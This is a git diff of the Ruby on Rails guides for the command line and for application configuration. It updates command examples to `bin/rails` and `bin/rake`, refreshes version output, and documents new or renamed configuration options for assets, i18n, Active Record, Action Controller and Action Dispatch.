@@ -186,7 +180,7 @@ Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
 Fire up your server using `rails server`.
 
 ```bash
-$ rails server
+$ bin/rails server
 => Booting WEBrick...
 ```
 
@@ -197,7 +191,7 @@ INFO: With a normal, plain-old Rails application, your URLs will generally follo
 Rails comes with a generator for data models too.
 
 ```bash
-$ rails generate model
+$ bin/rails generate model
 Usage:
   rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
 
@@ -220,7 +214,7 @@ But instead of generating a model directly (which we'll be doing later), let's s
 We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
 
 ```bash
-$ rails generate scaffold HighScore game:string score:integer
+$ bin/rails generate scaffold HighScore game:string score:integer
     invoke  active_record
     create    db/migrate/20130717151933_create_high_scores.rb
     create    app/models/high_score.rb
@@ -242,26 +236,24 @@ $ rails generate scaffold HighScore game:string score:integer
     create      test/controllers/high_scores_controller_test.rb
     invoke    helper
     create      app/helpers/high_scores_helper.rb
-    invoke      test_unit
-    create        test/helpers/high_scores_helper_test.rb
     invoke    jbuilder
     create      app/views/high_scores/index.json.jbuilder
     create      app/views/high_scores/show.json.jbuilder
     invoke  assets
     invoke    coffee
-    create      app/assets/javascripts/high_scores.js.coffee
+    create      app/assets/javascripts/high_scores.coffee
     invoke    scss
-    create      app/assets/stylesheets/high_scores.css.scss
+    create      app/assets/stylesheets/high_scores.scss
     invoke  scss
-   identical    app/assets/stylesheets/scaffolds.css.scss
+   identical    app/assets/stylesheets/scaffolds.scss
 ```
 
 The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
 
-The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
 
 ```bash
-$ rake db:migrate
+$ bin/rake db:migrate
 ==  CreateHighScores: migrating ===============================================
 -- create_table(:high_scores)
    -> 0.0017s
@@ -273,7 +265,7 @@ INFO: Let's talk about unit tests. Unit tests are code that tests and makes asse
 Let's see the interface Rails created for us.
 
 ```bash
-$ rails server
+$ bin/rails server
 ```
 
 Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
@@ -287,18 +279,43 @@ INFO: You can also use the alias "c" to invoke the console: `rails c`.
 You can specify the environment in which the `console` command should operate.
 
 ```bash
-$ rails console staging
+$ bin/rails console staging
 ```
 
 If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
 
 ```bash
-$ rails console --sandbox
-Loading development environment in sandbox (Rails 4.0.0)
+$ bin/rails console --sandbox
+Loading development environment in sandbox (Rails 5.0.0)
 Any modifications you make will be rolled back on exit
 irb(main):001:0>
 ```
 
+#### The app and helper objects
+
+Inside the `rails console` you have access to the `app` and `helper` instances.
+
+With the `app` method you can access url and path helpers, as well as do requests.
+
+```bash
+>> app.root_path
+=> "/"
+
+>> app.get _
+Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
+...
+```
+
+With the `helper` method it is possible to access Rails and your application's helpers.
+
+```bash
+>> helper.time_ago_in_words 30.days.ago
+=> "about 1 month"
+
+>> helper.my_custom_helper
+=> "my custom helper"
+```
+
 ### `rails dbconsole`
 
 `rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
@@ -310,7 +327,7 @@ INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
 `runner` runs Ruby code in the context of Rails non-interactively. For instance:
 
 ```bash
-$ rails runner "Model.long_running_method"
+$ bin/rails runner "Model.long_running_method"
 ```
 
 INFO: You can also use the alias "r" to invoke the runner: `rails r`.
@@ -318,7 +335,7 @@ INFO: You can also use the alias "r" to invoke the runner: `rails r`.
 You can specify the environment in which the `runner` command should operate using the `-e` switch.
 
 ```bash
-$ rails runner -e staging "Model.long_running_method"
+$ bin/rails runner -e staging "Model.long_running_method"
 ```
 
 ### `rails destroy`
@@ -328,7 +345,7 @@ Think of `destroy` as the opposite of `generate`. It'll figure out what generate
 INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
 
 ```bash
-$ rails generate model Oops
+$ bin/rails generate model Oops
       invoke  active_record
       create    db/migrate/20120528062523_create_oops.rb
       create    app/models/oops.rb
@@ -337,7 +354,7 @@ $ rails generate model Oops
       create      test/fixtures/oops.yml
 ```
 ```bash
-$ rails destroy model Oops
+$ bin/rails destroy model Oops
       invoke  active_record
       remove    db/migrate/20120528062523_create_oops.rb
       remove    app/models/oops.rb
@@ -353,41 +370,37 @@ Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'mak
 
 You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need.
 
-To get the full backtrace for running rake task you can pass the option
-```--trace``` to command line, for example ```rake db:create --trace```.
+To get the full backtrace for running rake task you can pass the option `--trace` to command line, for example `rake db:create --trace`.
 
 ```bash
-$ rake --tasks
+$ bin/rake --tasks
 rake about              # List versions of all Rails frameworks and the environment
-rake assets:clean       # Remove compiled assets
+rake assets:clean       # Remove old compiled assets
+rake assets:clobber     # Remove compiled assets
 rake assets:precompile  # Compile all the assets named in config.assets.precompile
 rake db:create          # Create the database from config/database.yml for the current Rails.env
 ...
 rake log:clear          # Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)
 rake middleware         # Prints out your Rack middleware stack
 ...
-rake tmp:clear          # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
-rake tmp:create         # Creates tmp directories for sessions, cache, sockets, and pids
+rake tmp:clear          # Clear cache and socket files from tmp/ (narrow w/ tmp:cache:clear, tmp:sockets:clear)
+rake tmp:create         # Creates tmp directories for cache, sockets, and pids
 ```
-INFO: You can also use ```rake -T```  to get the list of tasks.
+INFO: You can also use `rake -T`  to get the list of tasks.
 
 ### `about`
 
 `rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
 
 ```bash
-$ rake about
+$ bin/rake about
 About your application's environment
-Ruby version              1.9.3 (x86_64-linux)
-RubyGems version          1.3.6
-Rack version              1.3
-Rails version             4.0.0
+Rails version             5.0.0
+Ruby version              2.2.0 (x86_64-linux)
+RubyGems version          2.4.5
+Rack version              1.6
 JavaScript Runtime        Node.js (V8)
-Active Record version     4.0.0
-Action Pack version       4.0.0
-Action Mailer version     4.0.0
-Active Support version    4.0.0
-Middleware                Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::EncryptedCookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag
+Middleware                Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag
 Application root          /home/foobar/commandsapp
 Environment               development
 Database adapter          sqlite3
@@ -396,7 +409,9 @@ Database schema version   20110805173523
 
 ### `assets`
 
-You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`.
+You can precompile the assets in `app/assets` using `rake assets:precompile`, and remove older compiled assets using `rake assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built.
+
+If you want to clear `public/assets` completely, you can use `rake assets:clobber`.
 
 ### `db`
 
@@ -404,20 +419,12 @@ The most common tasks of the `db:` Rake namespace are `migrate` and `create`, an
 
 More information about migrations can be found in the [Migrations](migrations.html) guide.
 
-### `doc`
-
-The `doc:` namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
-
-* `rake doc:app` generates documentation for your application in `doc/app`.
-* `rake doc:guides` generates Rails guides in `doc/guides`.
-* `rake doc:rails` generates API documentation for Rails in `doc/api`.
-
 ### `notes`
 
-`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations.
+`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations.
 
 ```bash
-$ rake notes
+$ bin/rake notes
 (in /home/foobar/commandsapp)
 app/controllers/admin/users_controller.rb:
   * [ 20] [TODO] any other way to do this?
@@ -428,10 +435,16 @@ app/models/school.rb:
   * [ 17] [FIXME]
 ```
 
+You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up.
+
+```ruby
+config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
+```
+
 If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name.
 
 ```bash
-$ rake notes:fixme
+$ bin/rake notes:fixme
 (in /home/foobar/commandsapp)
 app/controllers/admin/users_controller.rb:
   * [132] high priority for next deploy
@@ -443,9 +456,9 @@ app/models/school.rb:
 You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
 
 ```bash
-$ rake notes:custom ANNOTATION=BUG
+$ bin/rake notes:custom ANNOTATION=BUG
 (in /home/foobar/commandsapp)
-app/models/post.rb:
+app/models/article.rb:
   * [ 23] Have to fix this one before pushing!
 ```
 
@@ -455,7 +468,7 @@ By default, `rake notes` will look in the `app`, `config`, `lib`, `bin` and `tes
 
 ```bash
 $ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
-$ rake notes
+$ bin/rake notes
 (in /home/foobar/commandsapp)
 app/models/user.rb:
   * [ 35] [FIXME] User should have a subscription at this point
@@ -475,15 +488,14 @@ Rails comes with a test suite called Minitest. Rails owes its stability to the u
 
 ### `tmp`
 
-The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
+The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions.
 
 The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory:
 
 * `rake tmp:cache:clear` clears `tmp/cache`.
-* `rake tmp:sessions:clear` clears `tmp/sessions`.
 * `rake tmp:sockets:clear` clears `tmp/sockets`.
-* `rake tmp:clear` clears all the three: cache, sessions and sockets.
-* `rake tmp:create` creates tmp directories for sessions, cache, sockets, and pids.
+* `rake tmp:clear` clears all cache and sockets files.
+* `rake tmp:create` creates tmp directories for cache, sockets and pids.
 
 ### Miscellaneous
 
@@ -493,7 +505,9 @@ The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp`
 
 ### Custom Rake Tasks
 
-Custom rake tasks have a `.rake` extension and are placed in `Rails.root/lib/tasks`.
+Custom rake tasks have a `.rake` extension and are placed in
+`Rails.root/lib/tasks`. You can create these custom rake tasks with the
+`bin/rails generate task` command.
 
 ```ruby
 desc "I am short, but comprehensive description for my cool task"
@@ -525,9 +539,9 @@ end
 Invocation of the tasks will look like:
 
 ```bash
-rake task_name
-rake "task_name[value 1]" # entire argument string should be quoted
-rake db:nothing
+$ bin/rake task_name
+$ bin/rake "task_name[value 1]" # entire argument string should be quoted
+$ bin/rake db:nothing
 ```
 
 NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index 3cf5cdd71f..9c0f2ddc8a 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Configuring Rails Applications
 ==============================
 
@@ -56,16 +58,19 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
     end
     ```
 
-* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
 
 * `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
 
 * `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
 
-* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`.
+* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes.
 
 * `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
 
+* `config.beginning_of_week` sets the default beginning of week for the
+application. Accepts a valid week day symbol (e.g. `:monday`).
+
 * `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
 
 * `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
@@ -83,7 +88,7 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
     end
     ```
 
-* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`.
+* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode.
 
 * `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
 
@@ -103,21 +108,21 @@ numbers. New applications filter out passwords by adding the following `config.f
 
 * `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware.
 
-* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to a instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`.
+* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`.
 
-* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`.
+* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all environments. The available log levels are: :debug, :info, :warn, :error, :fatal, and :unknown.
 
-* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.
+* `config.log_tags` accepts a list of methods that the `request` object responds to. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.
 
-* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`, with auto flushing off in production mode.
+* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`.
 
 * `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
 
 * `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored.
 
-* `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`.
+* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`.
 
-* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won't be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
+* `config.serve_static_files` configures Rails to serve static files. This option defaults to true, but in the production environment it is set to false because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to true. Otherwise, you won't be able to use page caching and request for files that exist under the public directory.
 
 * `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
 
@@ -129,14 +134,14 @@ numbers. New applications filter out passwords by adding the following `config.f
 
 * `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
 
-* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`).
-
 ### Configuring Assets
 
 * `config.assets.enabled` a flag that controls whether the asset
 pipeline is enabled. It is set to true by default.
 
-* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`.
+* `config.assets.raise_runtime_errors` Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`.
+
+* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`.
 
 * `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
 
@@ -148,7 +153,9 @@ pipeline is enabled. It is set to true by default.
 
 * `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
 
-* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`.
+* `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder.
+
+* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb` and `development.rb`.
 
 * `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`.
 
@@ -192,7 +199,7 @@ The full set of methods that can be used in this block are as follows:
 Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
 
 * `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`.
-* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
+* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_files` is `false`.
 * `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`.
 * `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
 * `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
@@ -209,7 +216,7 @@ Every Rails application comes with a standard set of middleware which it uses in
 * `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
 * `ActionDispatch::ParamsParser` parses out parameters from the request into `params`.
 * `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
-* `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so.
+* `Rack::Head` converts HEAD requests to GET requests and serves them as so.
 
 Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
 
@@ -220,13 +227,13 @@ config.middleware.use Magical::Unicorns
 This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
 
 ```ruby
-config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+config.middleware.insert_before Rack::Head, Magical::Unicorns
 ```
 
 There's also `insert_after` which will insert a middleware after another:
 
 ```ruby
-config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+config.middleware.insert_after Rack::Head, Magical::Unicorns
 ```
 
 Middlewares can also be completely swapped out and replaced with others:
@@ -243,8 +250,14 @@ config.middleware.delete "Rack::MethodOverride"
 
 ### Configuring i18n
 
+All these configuration options are delegated to the `I18n` library.
+
+* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+
 * `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
 
+* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
+
 * `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
 
 ### Configuring Active Record
@@ -261,9 +274,11 @@ config.middleware.delete "Rack::MethodOverride"
 
 * `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
 
+* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table.
+
 * `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
 
-* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails.
+* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.
 
 * `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
 
@@ -273,6 +288,18 @@ config.middleware.delete "Rack::MethodOverride"
 
 * `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`.
 
+* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`.
+
+* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`.
+
+* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true.
+
+* `config.active_record.dump_schema_after_migration` is a flag which
+  controls whether or not schema dump should happen (`db/schema.rb` or
+  `db/structure.sql`) when you run migrations. This is set to false in
+  `config/environments/production.rb` which is generated by Rails. The
+  default value is true if this configuration is not set.
+
 The MySQL adapter adds one additional configuration option:
 
 * `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default.
@@ -293,6 +320,8 @@ The schema dumper adds one additional configuration option:
 
 * `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8".
 
+* `config.action_controller.include_all_helpers` configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default is `true`.
+
 * `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
 
 * `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.
@@ -303,7 +332,9 @@ The schema dumper adds one additional configuration option:
 
 * `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
 
-* `config.action_controller.action_on_unpermitted_params` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+
+* `config.action_controller.always_permitted_parameters` sets a list of whitelisted parameters that are permitted by default. The default values are `['controller', 'action']`.
 
 ### Configuring Action Dispatch
 
@@ -321,6 +352,46 @@ The schema dumper adds one additional configuration option:
 
 * `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
 
+* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults
+to `'http authentication'`.
+
+* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value.
+Defaults to `'signed cookie'`.
+
+* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
+value. Defaults to `'encrypted cookie'`.
+
+* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
+encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+
+* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge`
+  method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation)
+  for more information. It defaults to true.
+
+* `config.action_dispatch.rescue_responses` configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as:
+
+  ```ruby
+  config.action_dispatch.rescue_responses = {
+    'ActionController::RoutingError'              => :not_found,
+    'AbstractController::ActionNotFound'          => :not_found,
+    'ActionController::MethodNotAllowed'          => :method_not_allowed,
+    'ActionController::UnknownHttpMethod'         => :method_not_allowed,
+    'ActionController::NotImplemented'            => :not_implemented,
+    'ActionController::UnknownFormat'             => :not_acceptable,
+    'ActionController::InvalidAuthenticityToken'  => :unprocessable_entity,
+    'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity,
+    'ActionDispatch::ParamsParser::ParseError'    => :bad_request,
+    'ActionController::BadRequest'                => :bad_request,
+    'ActionController::ParameterMissing'          => :bad_request,
+    'ActiveRecord::RecordNotFound'                => :not_found,
+    'ActiveRecord::StaleObjectError'              => :conflict,
+    'ActiveRecord::RecordInvalid'                 => :unprocessable_entity,
+    'ActiveRecord::RecordNotSaved'                => :unprocessable_entity
+  }
+  ```
+
+  Any exceptions that are not configured will be mapped to 500 Internal Server Error.
+
 * `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
 
 * `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
@@ -343,17 +414,19 @@ The schema dumper adds one additional configuration option:
 
 * `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
 
-* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information.
+* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information.
 
 * `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authenticity_token => true` as a form option or set this config setting to `true`
 
-* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::PostsController` which renders this template:
+* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template:
 
     ```erb
-    <%= render @post %>
+    <%= render @article %>
     ```
 
-    The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`.
